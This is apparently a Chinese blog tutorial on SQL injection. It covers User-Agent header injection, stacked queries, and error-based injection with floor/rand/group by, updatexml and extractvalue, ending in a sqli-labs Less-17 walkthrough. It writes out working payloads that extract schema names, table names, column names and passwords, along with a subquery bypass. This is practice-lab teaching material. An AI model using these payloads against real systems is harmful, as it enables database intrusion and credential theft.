sql注入进阶/user-agent/基于报错的注入/保姆级教程/一看就会/
刚刚写了cisp安全工程与运营,写的我头昏脑胀,迷迷糊糊,接下来开始sql注入第五章节,也是最后一种注入类型“基于报错的盲注”与sqlmap,下一章就开始刷题,争取今天把sql注入完结了,明天开始文件上传漏洞啦
目录
一、user-agent(反扒手段)
准备注入
二、Stacked queries 堆叠注入
三、Error-based Injection
rand()
floor()
group by
四、实战演练
sql-labs less17
一、user-agent(反扒手段)
user-agent注入的情况其实非常少
浏览器识别user-agent,像前几章写的脚本,如果在存在user-agent的情况下是不可用的,因为网页会先检测user-agent再执行(好像是这样的),应对方法也很简单,和cookie一样抄一个或者仿造一个都可以
下面进入靶场
可以看到,连输入框都没有
这里User-Agent就是直接从User-Agent中取
IP Address从remote_addr中取
时间是直接访问的当前时间
看一下当前的User-Agent
和上面一毛一样啊
准备注入
首先这种情况下就不能用浏览器进行注入啦,因为连输入框都没有,只能postman或者其他工具抓包啦
postman中别忘了cookie
ip这里出问题了,但是无伤大雅
我们再send一次
看出问题了吗,其实这里显示的是一张表,每次访问这个网站的时候,就会向这个表里插入一条记录
我们猜测一下这里的插入语句
insert into table value=(time(),ip,user-agent)
这样我们尝试构造一个user-agent试一下
ps:在header里面(和cookie在一块)加一个User-Agent
按照上面的语句构造出 aaa') -- +结果报错了,但是别慌,报错信息“列计数与第1行的值计数不匹配”,说明插入的参数少了,那会不会是这种情况
insert into table value=(time(),user-agent,ip)
那我们再尝试构造一下
可以看到这时成功把我们构造出来的内容插进去了
下面就是常规操作读数据啦,这里就演示个读取表名吧
aaaa',(select group_concat(table_name) from
information_schema.tables where table_schema=database())) -- +
再说一遍这种情况真的很少哦,后面就是直接拿数据啦,相信对于从(一)看到这里的朋友们来说都so easy啦
二、Stacked queries 堆叠注入
这种情况巨少,巨威胁,威力巨大,特别特别少,几乎没有,因为一旦出现这个漏洞,我们可以直接给它数据库删掉,一般开发软件默认都不支持多条语句
堆叠注入,故名思意可以通过分号分隔,输入多个sql命令
select * from users where id='1';drop database.users -- + ;
如果这个语句能执行,恐怖吧,谁都别活,我直接给你删掉!
真实环境中,如果存在该漏洞,通常只返回一个结果,即第一条语句的结果,后面的语句被执行但是看不到返回结果,同时我们还需要知道一些数据库信息,比如我们删库删表需要库名表名,这种漏洞可操作空间巨大,比如我给它创建一堆数据表,改那个表的信息,删除那条特定的数据,增删改查无所不能。
三、Error-based Injection
常用函数:
rand()
返回随机数 0<返回值<1
select rand() from 表名:
能查出几条数据返回几个随机数
rand(种子)
每次返回的值都相同(伪随机)
floor()
floor(x)返回一个小于x的整数
floor配合rand()
floor(rand(0)*2)返回1,0
group by
这里只讲特性
select count(*),floor(rand(0)*2)x from xx group by x
这是报错型注入常用的一组语句,它的报错原理是因为
在组合时会新建一张虚拟的表
先执行floor(rand(0)*2)取值,判断虚拟表里是否存在这个值,如果存在则加一
不存在,则再执行一遍floor(rand(0)*2)并写入表中
仔细理解这个过程,rand(0)是伪随机数,它会按照执行次数产生随机数
配合floor(rand(0)*2)它产生的序列为0 1 1 0 1 1
我们模拟一下虚拟表的创建过程
select count(*),floor(rand(0)*2)x from xx group by x
识别第一个数 为0 表中啥也没有 则再执行一遍x 这个时候x值就变成1了
则插入表中count 1,key 1
再次识别 floor(rand(0)*2) 为1 表中有 则
count 2,key1
再次识别 floor(rand(0)*2) 为0 表中没有 则在执行一遍x 这时时候x值又变成1了
如果不报错则表变成:
count 2,key 1
count 1,key 1
这就能看出问题了吧,这里两个key取了同一个值,这个时候就会报错
注意:from的表中数据过少有可能不会报错
这个时候会报错 entry ’1‘ for key <group_key>
我们需要把1 替换成我们想看到的数据
使用 concat拼接字符串
select count(*),concat((select database()),floor(rand(0)*2))x from xxx group by x
这个时候因为x字段前面的内容都是一样的,排序时还是看floor(rand(0)*2),但是报错时会把整个x输出出来
1' union select 1,2,count(*),concat(database(),'~',floor(rand(0)))x,3,4,5 from information_schema.tables group by x -- +
updatexml()
我看的课到上面那块就没了,这个函数我查了一下,基本用法就是
updatexml(’1‘,concat(database()),’1‘) 可以报错
因为concat()不满足格式所以会报错
extractvalue()
extractvalue(1,concat((database()))) 可以报错
四、实战演练
sql-labs less17
这道题是改名字的题
应该就是 update users set password。=''where user name=' '
我在username上做了很多努力 ,单引号双引号等等,找不到注入点
然后转到 password上,找到了注入点
username 输入 Dumb; password 直接一个单引号看到报错
尝试一下上面提到的updatexml(),为啥不用floor 因为这里是update语句
这块其实要小心一点,因为 注释会把后面的where 注释掉,从而把所有的密码都改成1,但是问题不大,我好像昨天再尝试的时候就已经都改成1了,这里要注意哦
' and updatexml(1,concat('~',database(),'~'),1) -- +
数据库名就提取出来啦
再浅浅试一下extractvalue()
' and extractvalue(1,concat('~',(database()))) -- +
继续获取表名
' and updatexml(1,concat('~',(select group_concat(table_name)
from information_schema.tables
where table_schema=database())),1) -- +
' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database() ))) -- +
后面只演示extractvalue()
查询user表字段
' and extractvalue(1,concat('~',(select group_concat(column_name)
from information_schema.columns where table_name='users' and
table_schema=database()))) -- +
查询一下密码吧,看看自己干的好事
' and extractvalue(1,concat('~',(select group_concat(password,'~') from users ))) -- +
因为是update users 所以这里不让用users ,但是我们可以 from (select password from users)x绕过这个表名
' and extractvalue(1,concat('~',(select group_concat(password,'~') from (select password from users)x ))) -- +
当我看到这个结果的时候我大受震惊,我真的给这个表搞坏了
让我们查一下名字吧
先自己修一下吧,让他用户名和密码都一样吧
注意这种题,一定要小心 update 的题!
ps:有问题想办法绕过或者用别的函数代替!办法总比困难多!
ok 下一章开始刷题!
sql注入进阶/user-agent/基于报错的注入/保姆级教程/一看就会/相关推荐
- SQL注入——基于报错的注入(五)
本章目的 普及报错功能函数extractvalue()的用法,演示基于报错的SQL注入基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 (2)安装的应用软件:S ...
- python脚本自动化盲注_三、基于报错型注入和sql盲注的自动化实现
通过前面payload的构造,不难发现,对于报错型注入和布尔注入(sql盲注)纯手工注入的效率是非常慢的.这些payload语句虽然复杂,但大部分内容都是相同的,因此,一言不合就写了个脚本自动化注入, ...
- sql注入 1-1_基于报错的注入
sql注入 1-1_ 基于报错注入 1.判断是否存在报错注入 通过 id =1 可以看到服务器返回正常页面 通过 id=1 and 1=1 通过 id=1 and 1=2 服务器也返回正常 通过 id ...
- linux安装nginx详细步骤和make编译报错问题(保姆级)
目录 1.安装依赖包 2.下载并解压安装包 3.安装nginx 3-1.源码编辑时常见错误解决方法 4.启动nginx服务 4-1.配置nginx.conf 5.重启nginx 6.若想使用外部主机访 ...
- sqli-labs-基于报错的注入
目录 updatexml()函数 extractvalue()函数 floor()函数 exp()函数 geometrycollection()函数 multipoint()函数 构造参数?id=1& ...
- B站小迪安全笔记第十六天-SQL注入之查询方式及报错盲注
前言: 当进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显 的原因可能是 SQL 语句查询方式的问题导致,这个时候我们需要用到相 关的报错或盲注进行后续操作,同时作为手工注入时,同时作为 ...
- SQL 新加字段查询窗口报错
SQL 新加字段查询窗口报错 这是由于SQL Server的intellisense的引起的,intellisense是SQL Server的智能记录智能感知功能,即当给sql表名加上".& ...
- SQL数据库可疑恢复 挂起恢复 置疑恢复 SQL数据库无法附加修复 附加报错 9003
SQL数据库可疑恢复 挂起恢复 置疑恢复 SQL数据库无法附加修复 附加报错 9003 数据类型 MSSQL 2008R2 数据大小 352 MB 故障检测 服务器几次断电后数据库可疑 无法附加 消 ...
- 安装 SQL Sever 2000至最后步骤报错“安装程序配置服务器失败。 参考服务器错误日志和 C: \Windows\sqltsp.log 了解更多信息”
在安装 SQL Sever 2000至最后步骤报错"安装程序配置服务器失败. 参考服务器错误日志和 C: \Windows\sqltsp.log 了解更多信息" ,如 图: 解决方 ...
最新文章
- 【转】奴性哲学十句话,洗脑常用词!!!
- mysql查询两个日期之间的数据
- 《Adobe Illustrator CC 2014中文版经典教程(彩色版)》—第1课1.4节修改图稿的视图...
- python 语句简写_自学Python-语句之列表推导式
- 【转】PHP会话Session使用详解
- 【ElasticSearch】Es 源码之 LicenseService 源码解读
- tracker服务器php,FastDFS-5.05 tracker服务器安装nginx+php
- ASP.NET长文章分页
- WAS7.0安装补丁升级程序无法替换文件 java/docs/autorun.inf解决办法
- 完成端口学习笔记(一):完成端口+控制台 实现文件拷贝
- 小项目正确的操作姿势,碾压工薪阶层
- 基于Html+Css+javascript的体育网站
- MindManager2022安装使用教程
- 什么是MRAM(不挥发性磁性随机存储器)
- 微型计算机故障分为哪几类,西南大学19秋[0240] 计算机维修技术在线作业
- win 2008 R2远程桌面授权
- 如何提升订单周转,避免订单交期延误?
- 图纸打印什么时候用蓝图_cad图如何打印成施工蓝图
- 17.Future 介绍与主要用法
- Opera下载最新版本地址
热门文章
- 解密微信开放高级接口 企业如何应对
- 一加ace2v和2区别对比 一加ace2和一加ace2v哪个好
- 怎么绘制对数函数图象
- 自写网络验证,支持注册 充值 在线消息 自动更新
- 联想集团ESG与社会价值论坛召开,首次发布《联想集团2022社会价值报告》
- 几种常见的软件授权模式
- 5阶魔方阵c语言程序设计,五阶魔方阵源代码c语言课到程设计.docx
- 【漏洞学习——SQL】华图教育某分站SQL注入漏洞
- 用ZBrush做游戏建模,3D打印,手办模型、珠宝设计等
- zabbix的php最低版本,ZABBIX企业监控实践(3):升级与配置PHP